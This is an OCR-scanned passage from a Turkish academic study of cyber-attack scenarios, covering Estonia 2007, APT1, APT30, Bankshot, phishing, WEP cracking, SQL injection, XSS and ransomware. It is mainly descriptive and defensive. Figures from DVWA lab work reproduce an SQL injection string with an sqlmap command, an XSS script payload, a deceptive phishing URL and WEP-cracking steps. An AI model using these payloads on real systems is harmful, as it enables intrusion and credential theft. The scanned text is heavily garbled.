2007 yilinda Estonya devletine, 6zel ve kamu kuruluslarina yapilan toplu siber
saldir1 ataklar1 bu konuda karsilasilan modern diinyanin yeni bir gercegi olarak

karsimiza ¢ikmustir.

Estonya kamu kurum ve kuruluslarina, haber ajanslarina, devlet baskaninin
internet adresine, bankacilik adresleri gibi yerlere yapilan bu saldirinin yapim metodu

DDoS saldirilari ile gergeklestirilmistir.

Estonya 1991 yilinda kurulmus olmasina ragmen teknolojik yatirnm ve
programlar1 sayesinde teknolojik olarak iist diizey noktalara hizli ulagmistir. Ornek
verecek olursak Skype’in hazirlanmasinda kullanilan yazilim, Estonya menseiliydi.
Diinyada ilk defa 2005 yilinda Estonya devleti elektronik oy kullanarak segim

gerceklestirme imkanini vatandaglarinin hizmetine sunmustur.

Bu donemde artik halkin yiizde 60’a yakini giinliik ihtiyaglarinin 6nemli bir
kisminda internete muhtagti. Ulkedeki bankacilik islemlerinin yaklasik yiizde 96’s1
internet lizerinden gerceklestiriliyordu. Dolayisiyla her vatandasin devlet kurumlarina
ve bankalarina internet lizerinden baglanmasina imkan veren bir dijital kimlige sahip

oldugu tilkede, 355 devlet kurulusu sanal diinyada yer almaktaydi. (Yazici, 2015)

X-Road sistemini ¢okertmek icin 6zel olarak diizenlenmis veri paketlerinin
yonlendiricilere gonderildigi bu saldirilar sirasinda DDoS (dagitik servis dig1 birakma
saldiris1) ile pek cok iilkeden gelen IP adresleri kaydedilmisti. Saldirilara kars1 onlem

olarak Estonya hiikiimeti bant genisligini; 6zel kurulus ve firmalar da sunucularinin
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sayisini ve alan genisligini artirdi. Yine de zor durumda kalan Estonya Savunma Bakani
Dr. Jaak Aaviksoo NATO’ya ve diger iilkelere yardim ¢agrisinda bulundu. (Yazici,
2015)

Saldirilarin hedefleri ise devlet kurumlarinin pek ¢ok kademesini igermekteydi:
Estonya Bagkanligi ve Parlamentosu, neredeyse tiim iilkedeki devlet bakanliklari, siyasi
partiler, 3 biiylik haber kurulusu, iletisim firmasinin yani sira Hansabank ve SEB gibi
bankalar sonug olarak siber saldirilara maruz kalmisti. Saldirinin yol agtigi hasar tam

olarak belirlenemedi. (Yazici, 2015)

Estonya’ya kars1 yapilan siber saldirilar, NATO’nun siber giivenlige bakiginin
sekillenmesinde 6nemli rol oynadi. NATO’nun Yeni Giivenlik Tehditleri Bolimii’nden
sorumlu NATO Genel Sekreter Yardimcist Biiyiikelgi Sorin Ducaru, Washington’da
yaptig1 aciklamada “Estonya, NATO’nun bu alandaki ilk politikasin1 olusturmada
tetikleyici bir rol oynadi. Siber saldirilart Giircistan’daki savasta, Ukrayna savasinda ve
de Kirim referandumu oncesi net bir sekilde gordiikk. NATO sadece yiiksek seviyedeki
degil, veri sifrelemesinden siber suca kadar bir¢cok alana bakiyor. Bununla birlikte siber
alanda ciddi derecede kesintiye ugratma veya imha etme tehlikelerine karsi da

caligmalar yapryor” diye konusmustu. (Yazict, 2015)

NATO, kendi birimindeki en iyi siber-terérizm uzmanlarini Tallinn’e sevk etti.
Alanda arastirma ve iilkenin elektronik savunma sistemlerini giliclendirici ¢aligsmalar
yapildi. NATO’nun 1999 Siurp bilgisayar korsanlarinin saldirist sonrasinda artarak
biiyiiyen siber gilivenlik ilgisi Estonya’nin ugradig: saldirilar sonrasinda gozle goriiniir

hale geldi. (Yazici, 2015)

Yapilan saldirilarin maddi boyutu anlasilamasada devletlerin siber giivenlik
alaninda yeni stratejiler belirlemesi ve bununla ilgili organlar ivedilikle olusturmasina
onciiliik etmesi agisindan 6nemli sonuglar dogurmustur. Bu sayede devletlerin siber
saldirilara kars1 farkindaliklari artmis olmasi agisindan da diinyayr bu anlamda da

yonlendirmistir.
e Senaryo 7: Son Kulluaniciya (Client) Yapilan Saldir1 Senaryosu

Son kullanicinin bilgisayarina veya sistemie sizmak kaydi ile siber saldiri

diizenlemekte oldukca sik bagvurulan bir yontemdir. Son kullanicilar tarafindan
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bilgisayarlarina indirilen miizikler, oyunlar, pdf dosyalari, yazi1 veya sunum dosyalari,
flash tarzi kiigiik oyunlar, giivenilmeyen kaynaklardan indirilen cesitli dosyalarin
igerisine gizlenen kotii amacli yazilimlar sayesinde son kullanici (client) tarafinda sz
konusu bu programin ¢alistirilmasi sayesinde bilgisayariniza yiiklenerek aktif hale
gelirler. Bu kotii amagli dosyalar antivirlis ve diizgiin yapilandirilmamis giivenlik
duvarlari, kullanici hatalari, sosyal miihendislik, toplu e-posta saldirilari, yemleme gibi
yontemler sayesinde bilgisayara veya sistemlere sizmay1 basarirlar. Kotii amagh yazilim
sayesinde sisteme sizan istenmeyen TUgiincli kisiler sistemde her istedigi bilgiye
ulagabilmek i¢in her tiirlii yolu deneyeceklerdir.

Ornegin Sekil 12'de disaridan bakildiginda satrang oyunu gibi goziiken kotii
amagli yazilim son kullaniciya (client) gonderilmistir. Son kullanicininda iginde kotii
amagh yazilim oldugunu bilmeden ¢alistirdig1 bu satran¢ oyunu goriiniimlii program
bilgisayarda istinilen bilgilerin sizdirilmasi amaci ile programin yiiklendigi anda aktif
hale gelecektir.

Son kullanicinin bu dosyay1 agmasiyla bilgisayarinin ele gegirilmesi Sekil 12°de
gosterilmistir. Son kullanicinin sistemine, yeni bir kullanici eklenilerek ekran goriintiisii
aliabilmistir. Ayrica son kullanicinin bilgisayarinda tus kaydedici (keylogger) program
calistirilarak bastig tiim tuglar goriintiilenmistir. (Yigit & Akyildiz, 2014)
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Sekil 12. Son Kullanic1 Yapilan Saldir1 Senaryosu

Kaynak : (YIGIT & AKYILDIZ, 2014)
e Senaryo 8: Kiiresel APT Saldir1 Senaryosu

Amerikan siber giivenlik firmas1 Mandiant'in Subat 2013'te yaymladig1 rapora
gore, yasanmis APT saldirilarindan biri olan raporda APT1 adin1 verdikleri siber saldiri
olduk¢a vahim sonuglar dogurmustur.

Raporda Cin Halk Cumhuriyeti'nin 20'den fazla APT saldir1 grubundan biri
olarak adlandirdigi APT1 grubu kiiresel anlamda bir¢cok devlete ve kuruma sizmis
aylarca hatta yillarca sistemde kalip veri kopyalamay1 basarabilmislerdir.

Raporda belirtildigi lizere Mandiant 2006-2013 yillar1 arasinda APT1 grubunun
20 ana sektorde 141 firmaya sizdigini ve ylizlerce terabayt veri ¢aldigini tespit etmistir.
Bu grubun sizdig1 kurbanlarinin aginda ortalama 356 giin kaldig belirtilmistir. Ayrica
en uzun siire kaldig1 kurbanin aginda ise 4 yil 10 ay siire ile kaldig1 tespit edilmistir.
(Ozbay, 2015)

APT1 saldirisinda hedef olan iilkeleri Sekil 13'te gorebilirsiniz. Sekilden de
anlasilacagi iizere dzellikle Ingilizce dilini kullanan veya Ingilizce anadil olarak isletim

sistemi igaretli olan bilgisayar sistemlerine saldir1 diizenlendigi goriilmektedir.
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Sekil 13. Aptl Saldirisinin Sizdig: Ulkeler

APT1 Etkinligi Gézlenen Ulkeler |

:: 1 Norway
N 3
b 5 United Kingdom
—— () 2concas v
1 Belg
— '.‘ . . & ® 120
S Y
1 Luxemborg
‘ ' 1 France ‘
— 0 3isnel - .
I O 2 Swizzeriand By 30
% 115 United States r‘
- 1 UAE ' 2 Teiwan
I
R 3 sngapcre

Lg; 1 South Africa

Kaynak : (OZBAY, 2015)

Geligmis siber saldirilarin ve 6zellikle APT saldirilarinin daha zor tespit edildigi
ve daha az iz birakildig1 i¢in devletler arasi siber savasta yaygin olarak kullanildigi
diisiiniilmektedir. Mandiant siber giivenlik firmasinin hazirlamis oldugu APTI
raporunda Kurbanlarin sektorlere gore dagilimina bakildiginda saldiri boyutunun
bireyselden daha biiyiik bir 6lgege sahip oldugu gozlemlenebilir. Sekil 14'te ise hedefte

olan sektorleri ve bunlarin igerisinde ka¢ organizasyona sizildigini gorebiliriz.
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Sekil 14. Sektorlere Gore Aptl Saldirisinin Sizdigi Firma Sayisi

5 10 15 20
I I I ]

Bilgs Teknolopicr [
Havacin: [
Kamu Y on et [

Uyduve Tel ckominikasyor. [
Bilimsel Arastrma ve Damsmoni [

Encor

Q

Ulagbhrma
ingaat ve imalat
Uluslarars: Organizasyonlar
Mihendislik Hizmetleri [ NNNENEGE
Yiiksek Teknoloji Bekironik [NNNEGEE
Hukuk Hizmetleri [N
Medya. Reklam ve Egjlence [ NNINGNININNGEGEGE
Denizcili [N
Kimya Sanayii [
Finansal Servisier [
Gida ve Tanm -
Madencilic [N
Saghk Hizmeteri [l
Egitim [l
| | | | J
o 5 10 15 20

Kaynak : (OZBAY, 2015)

Raporda APTI’in sizdigi kurbanlarindan ¢ok fazla veri c¢alindig
belirtilmektedir. Ne tiir veriler ¢alinmis diye detaya inildiginde {iriin gelistirme, sistem
tasarimi, test sonuglari, iretim siirecleri, standartlar, is planlari, politik analiz
dokiimanlari, iist diizey kisilerin e-postalar1 ve kullanici bilgileri gibi bir¢ok tiirde veri
calindig1 goriilmektedir. Bu bilgilerin bir¢cogu siradan bir saldirganin eline gegse ¢ok
fazla bir sey ifade etmeyecektir ya da bunu parasal degere g¢evirmesi cok kolay
olmayacaktir. Bundan dolayr da gelismis siber saldirilan devlet destekli oldugu
diistintilebilir. Sadece tek bir firmadan 10 aydan fazla siirede 6,5 terabayt veri ¢alindig:
belirtilmistir. Bundan dolay1 da saldirilar toplaminda yiiksek miktarda veri calindig
tahmin edilmektedir. (Ozbay, 2015)

Mandiant’in hazirladig: siber giivenlik raporunda vurguladigi bir diger husus ise
APT1’'nin kurbanlarina dogrudan baglanmak yerine vekil sunucular (Proxy server)
kullanarak baglandigi ve bu sunucularin farkli yerlerde bulundugudur. Gelismis siber
saldirilarin tespit edilmesi ve pasif sistemlerle engellenmesinin 6niindeki zorluklardan

biri de saldirinin farkli farkli tilkeler {izerinden gergeklestiriliyor olmasidir.

Sekil 15'te, APT1 grubunun sunucular1 ve hangi iilke {izerinde kag¢ tane oldugu

belirtilmistir.
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Sekil 15. Dogrulanmis Aptl Sunucularinin Ulkelere Gore Dagilimi

Giiney Kore (11) Tayvan (6)
Kanada (3)
Avustralya (2)
Meksika (2)
Norveg (2)
Belgika (1)
Danimarka (1)
Endonezya (1)
Hindistan (1)
Singapur (1)

ABD (109)

Cin (709)

Kaynak : (OZBAY, 2015)

Sekil 15'te belirtilen saldirt sunuculari herhangi biri ya da birden fazlasi
bulunmus ve engellenmis olsa bile malesef kurban siber saldiridan kurtulamamakta
diger sunucular engellenen sunucularin yliriitmiis oldugu saldiriya kaldig1 yerden devam
edeceklerdir. Bu sebeple biiyiik 6l¢ekli siber saldirtlardan korunmak igin bireysel

cabalar yerine siber giivenlik uzmanlarinca alinan 6nlemler daha etkili bir yol olacaktir.

Diizenlenen bu siber saldirinin sonucunda izinsiz kopyalanan binlerce
terabaytlik veriler bireysel kullanicilar agisindan bir anlam ifade etmese de devletler
veya biiyiik kuruluslar i¢cin 6nemli siber casusluk ve sanayi casuslugu agisindan onem
arz etmektedir. Gelistirilecek yeni teknolojinin patenti alinmadan bu saldiriyla elde
edilmesi haksiz olarak bilgiyi hirsizlig1 yapan kurulus tarafindan hakki olmadig1 halde
irtinii adina kaydettirme, patent haklari, izinsiz satis islemleri gibi ciddi maddi kayiplara

neden olabilecektir.
e Senaryo 9: Yemleme (Phising) Saldir1 Senaryosu

Yemleme (Phising) adi verilen son kullanici tarafinda yapilan saldirilarda ise son
kullanicilar1 kandiracak e-posta ya da mesajlar atarak farkinda olmadan kullanicin kendi
elleriyle sifre, kisisel bilgi, kurumsal bilgi veya bankacilik islemlerinde kullandig:
sifreler gibi bilgileri yazmasi yoluyla bilgiler ele gecirilir. Daha sonrasinda bu bilgilerle

siber saldirganlar kredi karti ve bankacilik islemleri dolandiriciligi, kurumsal veya
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kisisel bilgi hirsizlig1 gibi islemler yaparak son kullanicty1r bazen geri doniilemez maddi
ve itibar kayb1 gibi manevi zararlara ugratabilirler.

Yemleme saldirilart 6zellikle dikkatsiz son kullanicilar ile teknik olarak sisteme
ve bilgisayara daha az hakim olan son kullanicilar1 hedef almakta ve bu kisilerin yapilan
bu yemleme saldirisi tuzagina diismesi ¢ok daha kolay olmaktadir. Sunu unutmayin ki
hicbir kamu ya da 6zel kurum - kuruluslar asla ama asla sizden e-posta yoluyla sifrenizi
ve kullanici bilgilerinizi istemezler. Size atilan fake denilen sahte mail ger¢ek kurulusun
birebir benzeri olan siteye sizi yonlendirir, siz de sanki o siteymis gibi siteye giris
(login) yapmak icin ilgili yere tiklayip girmeye ¢alistiinizda biitlin bilgi ve sifrenizi
ellerinizle istenmeyen kisilere vermis olursunuz. Esas sorun bu asamadan sonra baslar
ki, o da kotii niyetli siber saldirganinin insafina kaldiginizdir. Bu konuda da bu kisinin
insafli davranacagini beklemek pekte akillica olmaz.

Yapilan yemleme saldirilar1 6zellikle bankacilik sifrelerinizi igeren bilgilerinizi
elde etmek i¢in kurulmus bir tuzaksa ve kredi kart1 limitiniz yliksek ve bossa iste o
zaman saldirgan aligveris yapmak, para ¢ekmek, havale ve eft yapmak gibi yontemlerle
size ciddi anlamda biiyiik maddi kayiplar verebilir.

Eger ki kurumsal kullanici adi ve sifrelerinizi yemleme saldirilariyla
kopyalattiysaniz o zaman tehlike hem maddi hem manevi anlamda daha biiyilik
olmaktadir. Manevi anlamda sirketinizin ya da kurumunuzun saldiridan dolay1 toplum
oniinde kiiciik diismesi veya siber saldirganin kasith olarak uygunsuz isler yapmasi ve
paylasmasi dolayisi ile itibarinin 6nemli dlgiide zedelenmesi olasidir. Maddi kayba
gelecek olursak, miisterilerinizin kisisel bilgi ve belgeleri topluma ifsa edilebilir yada
rakip kuruluslara, sanayi casuslugu yapilarak projelerinizin teknik igerigi yine rakip
isletmelere ya da topluma ifsa edilmek sureti ile projeleriniz tamamen degersizlesebilir

ya da kismen deger kaybedebilir.
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Sekil 16. Yemleme E-Posta Saldir1 Senaryosu

From Name: support facebook
From E-mail: support facebook @faceboook com

P

To: @gmail.com
Subject: Parola Dogrulama

Attachment: [ Dosya Seg: Dosya secilmedi
Attach another file
[Advanced Settings |

ontent-Type: @ text/plain text/html Editor

Text: pegerii kullaniez,

niz i i igin
kip ederek hesabiniza giris

= zabiniz agilmaz ise
ize mail atiniz,

alakal: bir problem tespit edil

Anlan fake mail asagidaki gibi hedefteki kisinin mail kutusuna diismiistiir
support facebook Parola Dodrulama - Dede
Degerli kullanic,
Hesabiniz ile alakall bir problem tespit edildigi icin [itfen asag

icerisinde hesabiniz aciimaz ise |Gtfen destek ekibimize mail ;
http:/facebook.com@10.100.1.49

Kaynak : (YIGIT & AKYILDIZ, 2014)

Sekil 16°da 6rnek bir yemleme e-posta’si olusturulmustur. Bu senaryoda internet
lizerinden sahte e-posta atilabilen bir siteden yararlanilmistir. Sekil 16°da
http://facebook.com@10.100.1.49 adresi facebook sitesine yonlendirmesi gerekirken
adres son kullaniciy1 @ isaretinden sonraki IP adresine yonlendirecektir. Son kullanici
linke tikladig1 anda sahte sayfaya yonlendirilecek sifreleri calinma riskiyle kars1 karsiya

kalacaktir. (Yigit & Akyildiz, 2014)
e Senaryo 10: APT30 Saldir1 Senaryosu

FireEye tarafindan yaymnlanan raporda yogun olarak Giineydogu Asya ve
Hindistan’1 hedef aldig1 belirtilen grup APT30 olarak adlandirilmistir. (Ozbay, 2015)

Diizenlenen APT30 saldirilar ile grup iiyelerinin on yil gibi uzun bir siireye
yayarak saldir1 yapilan bolgedeki devlet kuruluslart ve ticari kuruluglarin internet ve
intranet aglarina sizdiklar1 gortilmustiir.

Grup tlyeleri basit saldirilardan ziyade daha karmasik bir yapida saldiri
planlamas1 gereken internet baglantisi olmayan ag baglantis1 olan intranet
baglantilarindan izinsiz veri kopyalamaya odaklanmistir. Bu tip bir saldirida ama amag
biiyiilk maddi kayiplar verdirmek yerine saldiriyr on yil gibi uzun bir zamana yayarak

farkedilmeden sistemde kalip miimkiin oldugu en biiyiik boyutta veriyi istenmeyen
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ticlincii kisilere sizdirmak amacglanmistir. Bu saldirida grubun aktiviteleri izlendiginde
ve kullanilan araglara bakildiginda hedeflerinde siyasal, askeri ve finansal verileri
kopyalamak oldugu anlasilmistir. Bu saldirilar standart saldir1 tiplerinin aksine acemi
diizey ya da orta diizey siber saldirganlar yerine daha konunun uzmani siber saldirganlar
tarafindan yapildig1 asikardir. Ciinkii interneti olmayan bir aga sizmak ¢ok daha zor ve
karmagik algoritma ve araclar kullanmay1 gerektirir, kald1 ki sistemde on yil boyunca
onca giivenlik duvari ve aktif giivenlik yazilimina yakalanmadan kalabilecek ara¢ gerek
gelistirmekte konunun uzmanlar1 tarafindan planlandigini ve gergeklestirildigini
gostermektedir.

Diger saldir tiplerinin aksine APT30 saldirisinda grup {yeleri hizlica verileri
kopyalayip miimkiin oldugunca bu isi ¢abuk yapmak yerine isi aceleye getirmeden on
yil gibi uzun bir siirede sistemde kalarak yavas yavas ama olabildigince ¢ok veriyi siber
saldirganlara izinsiz olarak ulastirmay1 hedeflemislerdir.

Esasina bakildiginda gelismis siber saldirilarin diizenlenmesindeki amag, diisiik
ekonomik kazang saglamak ya da kitlesel ses duyurma gibi hedeflerden ¢ok kisilerden
ziyade devletler i¢in 6nem arz eden yiiksek oranda veri kopyalamak vardir. Bu sebeple
karmasik yapida diizenlenmis olan bu saldirilar karsisinda pasif savunma sistemleri tek
basina yeterli gelmemektedir.

Yapilan bu APT30 saldirilarinin sonucunda Giineydogu Asya ve Hindistanin
devlet kuruluglar1 ve saldir1 magduru diger kuruluslaindan yillar boyu ¢ekilen yiiksek
orandaki veri yiizlinden ciddi bilgi ve teknoloji hirsizlig1 sonucu dogmustur. Bu sebeple
ilkelerin giivenlik yaazilimlarin1 tekrar elden gegirme ve gerekli yamalar ve
programlarla desteklemesinin 6nemini yetkililer yasayarak tecriibe etmislerdir. Bu sorun
aslinda ¢agimizin en ciddi sonuglarini dogurmus ve bilgi gilivenliginin 6nemi giin

gectikce daha iyi anlagilmistir.
e Senaryo 11: Tiirkiye'ye Kars1 Bankshot ile Yapilan Siber Saldir1 Senaryosu

8 Mart 2018 tarihinde, Kuzey Kore temelli bir grup oldugu diisiiniilen “Lazarus
Grup” (bir diger adi ile “Hidden Cobra”) isimli “Siber Sug¢ Orgiitii”niin Tiirkiye'deki
finans sistemine yonelik diizenleledigi siber saldirilar desifre edilmistir. Diizenlenen bu
saldirilarda, grubun en son faaliyet tarihi olarak 2017 yilinda goriilen “Bankshot” zararli

yaziliminin daha da gelistirilmis siiriimil ile geri doniis yaptig1 bilinmektedir.
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Bankshot yazilimi, kurbanindan daha fazla bilgi elde edebilmek igin kurbanin
agma yerlesmek iizere Ozel olarak tasarlanmis bir zararli yazilim olarak
degerlendirilebilir. Toplanan veriler ile saldirganlarin kurbanlar1 ve yaptiklari islemler
hakkinda bilgi toplamak igin so6z konusu zararli yazilimi kullanarak tilkemizin finans
sektoriiniin bagli oldugu sistemlere yonelik, hedef odakli bir operasyon planlayabilecegi
ihtimalini g6z ardi etmemek gerektigini bizlere hatirlatmistir.

Tiirkiye'deki finans kuruluslarina diizenlenen bu siber saldirida asil hedefin
muhtemelen diger iilkelerden gelecekteki olasi soygunlar i¢in erken veri toplama
asamasinin ne olabilecegi kaygisi olusmustur. Kurbanin sistemlerine almak i¢in yakin
zamanda sifir glin siiren bir Adobe Flash giivenlik acigindan yararlanildigini
distiniilmektedir.

Hedefteki Tiirk kuruluslar viriislii dosyalarinin ‘oltalama’ yontemiyle Microsoft
Word ekli e-postalar araciligiyla yayildigi bildirildi. Euronews’ta yayinlanan haberde
viriislii dosyalarin kullanicilar1 Bitcoin satin almaya yonlendirdigi iddiasi yer aldi.

(siberbulten.com, 2018)
e Senaryo 12: Kablosuz Ag Saldir1 Senaryosu

WEP sifreleme yontemi ile yapilan kablosuz ag sifrelemeleri kullanilan
algoritmalarla artik oldukca kolay bir sekilde kirilabilmektedir. Gokkusagi tablosu ya da
gokkusagi bagvuru cizelgesi (Rainbow Table) yontemini kullanilarak WPA ve WPA2
sifrelerini de kirabilmek miimkiindiir. WPA ve WPA2 sifreleme yontemi WEP
yontemine gore daha gelismis ve kirilmasi daha zor yontemler olsa dahi eger ki
kullanici basit ve ardisik karakterlerden olusan sifre kullanirsa bunlar1 kirmak ¢ok daha
kolay olabilecektir. Bu sebeple hangi sifreleme algoritmast ya da yontemini
kullanirsaniz kullanin mutlaka karmagsik ve bulunmasi daha zor karakterler kullanarak

sifre olusturun.
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Sekil 17. Sahte Dogrulama Paketi

Kaynak : (YIGIT & AKYILDIZ, 2014)

Sekil 18. Wep Yontemiyle Olusturulan Sifreyi Kirma

Kaynak : (YIGIT & AKYILDIZ, 2014)

Sekil 17 ve 18'de kademeli olarak WEP sifresi kirilmistir. Ag kartt monitor
moda alinarak havadaki tiim kablosuz yaymlarin gorlintiilenmesi saglanmistir.
Airodump-ng araci kullanilarak monitor edilen kablosuz ag trafigi Sekil 17'de
gosterildigi gibi yakalanmistir. 50000 civarinda yada daha fazla paket toplanarak ,

toplanilan paketler ile WEP sifresinin kirilmasi planlanlanmistir. Burada, sahte
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dogrulama paketleri gonderilerek authentication ‘opn’ durumuna getirilir. Daha sonra
arp reply paketleri enjekte edilerek toplanilan paket sayist arttirilir. Son olarak aircrack-

ng aract ile WEP sifresi Sekil 18’deki gibi kirtlmistir. (Yigit & Akyildiz, 2014)
e Senaryo 13: Uygulama Alaninda Yapilan Saldirt Senaryosu

Yazilan uygulamalarin kodlarinin genellikle gere§inden fazla uzun olmasi,
kullanicilarin dikkatsiz ve 6zensiz davranmasi, ¢alisanlarin veya kullanicilarin kalifiye
olmamasi gibi bazi durumlardan dolay1 uygulama tabaninda olusan integer, string ve
blind sql injection agikliklar olugsabilmektedir. Bu durumu 6rneklendirecek olursak eger
SQL sorgularinin filtrelenmeden sisteme alinmasindan dolayr herhangi bir sisteme ait
olan veritabanini ele gecirmek miimkiindiir.

DWVA simiilasyon programinda yapilan saldir1 sonucunda S$ekil 19’da
gosterildigi gibi veri tabanindan tablolar ¢ekilmistir. (Yigit & Akyildiz, 2014)

Sekil 19. Sql Injection Saldir1 Senaryosu

User ID:

|| submit |

Database: mysgl

ID: admin'or'l'="1 [23 tables]

First name: admi
Surname: admin :
columns_priv

|

ID: admin'or'l'=" | db
First name: Gordon | event
Surname: Brown | func

Host I Ee?eral_lug

) elp_category

ﬁserﬁ;gent | help_keyword

ceep | help relation
Accept-Language | help_topic
Accept-Encoding gzip, deflate | host

Connection keeg-alive | ndb_binleg_index
Referer http:/localhostjdvwa/vulnerabilities/sgliffid=admin%270r%271>.,_| Plugin

Cookie security=low; PHPSESSID=cs|1f9teoikudkh1n7viqe6dke proc
root@bt: 1 #'py “J qlmap.py -u 'http://localhost/dvwa/vulnerabilities/sqli/?id=adm

in%270r%271%27%30%271&Submit=Submit#
rent-user --current-db --tables

--ctokie='PHPSESSID=cs11f9teoikud4khln7vfg66dk6; security=low' --cur

Kaynak: (YIGIT & AKYILDIZ, 2014)

Sekil 20°de kaynak kodlardan XSS ac¢iklig1 oldugu c¢ok rahat goriilebilmektedir.
XSS agikliginin oldugu kutunun igerisine yazilan javascript kodlari ile bu agigin oldugu

gosterilmistir. (Yigit & Akyildiz, 2014)

54



Sekil 20. Xss Agiklig1 Saldir1 Senaryosu

<7php

if(isseot(S_POSTI 'binSign 1))
{

Smessage - trim(S POSTI ‘mtxMessage 1)

Sname - trim(sS _POST[ 'txtName"]):

Smossage - stripslashes(Smessage):

Smossage - mysql real escape string(Smessage):

Sname - mysql real escape string(Sname):

Squery = “INSERT INTO guestbook (comment, name) VALUES ('Smessage’ ., Sname’);:";
Sresult -« mysql qQuery(SqQuery) or die( =pre>" mysqQl_error{() . "=/pre=" ):

Name *

fPentestor —--.‘~‘\\
<scrpt>aon("hello Xs88" y</scrpt>|
Message *

T

|_Sign Guestbook |

hello xss

Kaynak : (YIGIT & AKYILDIZ, 2014)

Yetkilendirme hatalarindan dolay1 olusabilecek bir agiklikta Sekil 21°de
gosterildigi gibi istismar edilmistir. Burada kullanici kaydolurken yetki kontrolii
yapilmustir. Kullanict kaydolduktan sonra belirli kisilerin profillerini goriintiilemeye
yetkili olmasina ragmen, saldir1 yapan kisi yaptigi istekleri Burp Suite araci ile keserek
kendi ID numarasi ile yonetici kullanicisinin ID numarasini degistirerek gormeye yetkili

olmadigi bilgileri goriintiileyebilmistir. (Yigit & Akyildiz, 2014)
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Sekil 21. Yetkilendirme Agiklig1 Saldir1 Senaryosu

L‘ Welcome Back Tom - Staff Listing Page

Tom kullanisinin sayfasi

s NT €.1; en-US; rv:l

Select from the list below sapplication/xhtmlexml, texe/html;

Pr
SearchStal

Piease Login

Tom Cat(employee)
= o NT €.1; en-US; £v:1.8.0
Password html+xml, text/html: qe0

.Login

Kaynak : (YIGIT & AKYILDIZ, 2014)

e Senaryo 14: Ag Fidye Yazilimi Saldir1 Senaryolari

Marriott ve Facebook gibi sirketler icerik izni olarak haberlere izin vermesiyle
siber giivenlik saldirilart diinya genelindeki bu biiyikk kurumlari, ag fidye yazilimi
(ransomware) ihlallerine bagli kabuslar yasatmaya itmistir. Ransomware, bir miktar
para ddenene kadar bir bilgisayar sistemine erisimi engellemek i¢in tasarlanmis bir tiir
kotli amagh yazilimdir ve hizla ¢evrimigi saldirilarin en popiiler bigimlerinden biri
haline gelmektedir.

Siber Gilivenlik Girisimlerine gore, AIDS Trojan saldiris1 ile 1989'dan
baslayarak, fidye yazilimlar1 biiyiik olcekte gelisiyor ve 2021 yilina kadar yillik 20
milyar dolarin iizerinde bir dolandiricilik maliyetine sahip olmasi1 bekleniyor. (Price,
2019)

Fidye yazilimi saldirilarini onlemek i¢in kuruluslarin ag giivenligini birinci
oncelik haline getirmesi gerekir. Siber giivenlik ihlallerini ortadan kaldirmanin ilk
adimi, viriisten koruma ve kot amaghh yazilimdan koruma yazilimlarini
dagitmaktir. Ag1 daha fazla korumak i¢in kuruluslar erisim denetimini belirli diizeylerde
kisitlayabilir. Ornegin, Amerika Birlesik Devletler Bilgisayar Acil Durum Hazirlik
Ekibi (US-CERT), erisim denetimlerinin (dosya, dizin ve ag paylasim izinleri) en az
ayricalik g6z Oniinde bulundurularak yapilandirilmasini Onerir. Bagka bir deyisle,

yalnizca belgeleri, dosyalari vb. okumak i¢in erisime ihtiya¢ duyan kullanicilarin bu
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belirli dosyalari, dizinleri veya paylasimlari diizenlemesine izin verilmemelidir. Bu
sayede alinan 6nlemlerle ag fidye yazilimi saldirilarindan korunmus olursunuz.

Siber gilivenlik agisindan degerlendirdigiizde yillik 20 milyar dolarin iizerinde
maddi kayip icerebilen bir diizeye ulagmasi sirketleriniz ve kisisel kayiplarmiz
acisindan siber giivenlik Onlemlerini ne kadar siki tutmamiz gerektiginin onemli bir

kanit1 olarak karsimiza ¢ikmaktadir.

e Senaryo 15: Yan Kanal Saldir1 Senaryosu

Yan kanal saldirilar sistemlerin gii¢ analizine, elektromanyetik uygulamalarina

ve zamanlanmis gorevlerine yonelik saldirilardir. (Yilmaz & Sagiroglu, 2013)

Bu saldirilarin yapilmasindaki esas amag sifreleme anahtarini ele gegirecek bir
casus uygulamayi sisteme sizdirmaktir. Cogu akilli sistem ve akilli teknoloji maalesef
bu saldirilarin sonucunda sistemde kayitli olan mdsteri bilgilerini, kisisel kullanim

bilgilerini ve sifrelerini kaybetmesine neden olabilmektedir.

Bu yapilan saldir1 sonucunda kullanict bilgileri ticari sirketlere reklam amagh
satilabilir ve bu yilizden rahatsiz edici mesajlara ve e-postalara maruz kalabilirler.
Kopyalanan sifreler ile maddi kayiplar verilen dolandiricilik, sirketin gizli bilgilerinin
ifsa edilmesi, ticari itibar kayb1 gibi maddi anlamda ciddi kayiplar verebilirler. Kisisel
kullanim bilgileri de ayn1 sekilde sirketlere satilarak ticari reklam iceren mesajlar ve e-
postalarin gonderilmesi yoluyla kullanici manevi olarak rahatsiz edilebilir. Artik
iilkemizde bunlar su¢ kapsaminda sayildig: i¢in istenmeyen reklam postas1 veya mesajt
almamak miimkiin olmaktadir fakat yine de kullanicinin liye olmadigi yerlerden

mesajlar gelerek kullanicilara rahatsizlik verecek asamaya gelebilir.

Goriildugi tlizere istenmeyen sonuglar manevi ve maddi agidan kullanicilari
oldukca zor bir duruma diisiirebilir ya da taciz boyutunda ciddi rahatsizliklara neden

olabilmektir.
e Senaryo 16: Bulut Giivenligi Saldir1 Senaryolari

Higbir kurulus veri ihlallerine kars1 tamamen giivenli degildir. Siber giivenlik
kavrami her giin kendini yeni saldin tiplerine gore gilincellemektedir. Perakende ve
toptan satis sirketleri ve Anthem gibi saglik sigortasi sirketleri daha once miisteri

verilerine yonelik siber saldir1 ihlalleri yasarken, siber giivenlik ihlallerine hedefi olma
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korkusu sanal diinyayr aktif kullanan her sirket ve kiside her zaman en iist seviyede
olmalidir. Birgok isletme, bilgisayar korsanlarinin verilere erigmesini Onlemek icin

hassas verileri bulutta giivenceye alma egilimindedir.

Ancak bulut bir¢ok kisi i¢in giivenli bir yol olmaya devam ederken, Gartner
2020'ye kadar bulut giivenligi hatalarinin yiizde 95'inin miisterinin hatasi olacagini

ongortiyor. (Price, 2019)

Kurulusunuzun bagka bir istatistik olmasina asla izin vermeyin. Miisterilerinizi
korumak igin siber giivenlik onlemlerini mutlaka alin. Fiziksel konum, bilgi islem
cihazi, ag veya veritabani gibi bir kaynaga erismeye calisan bireyin kimliginin daha
yiikksek derecede gilivencesini saglayan Cok Faktorlii Kimlik Dogrulama (MFA)
uygulaym. MFA, yetkisiz bir kullanicinin hassas verilere erisimini daha karmasik hale
getiren cok katmanli bir kimlik dogrulama islemi olusturarak giivenli baglantiyr

saglamay1 amaglamaktadir.

Sifreleme, verileri yetkisiz kullanicilar tarafindan okunamayan anlagilmaz metne
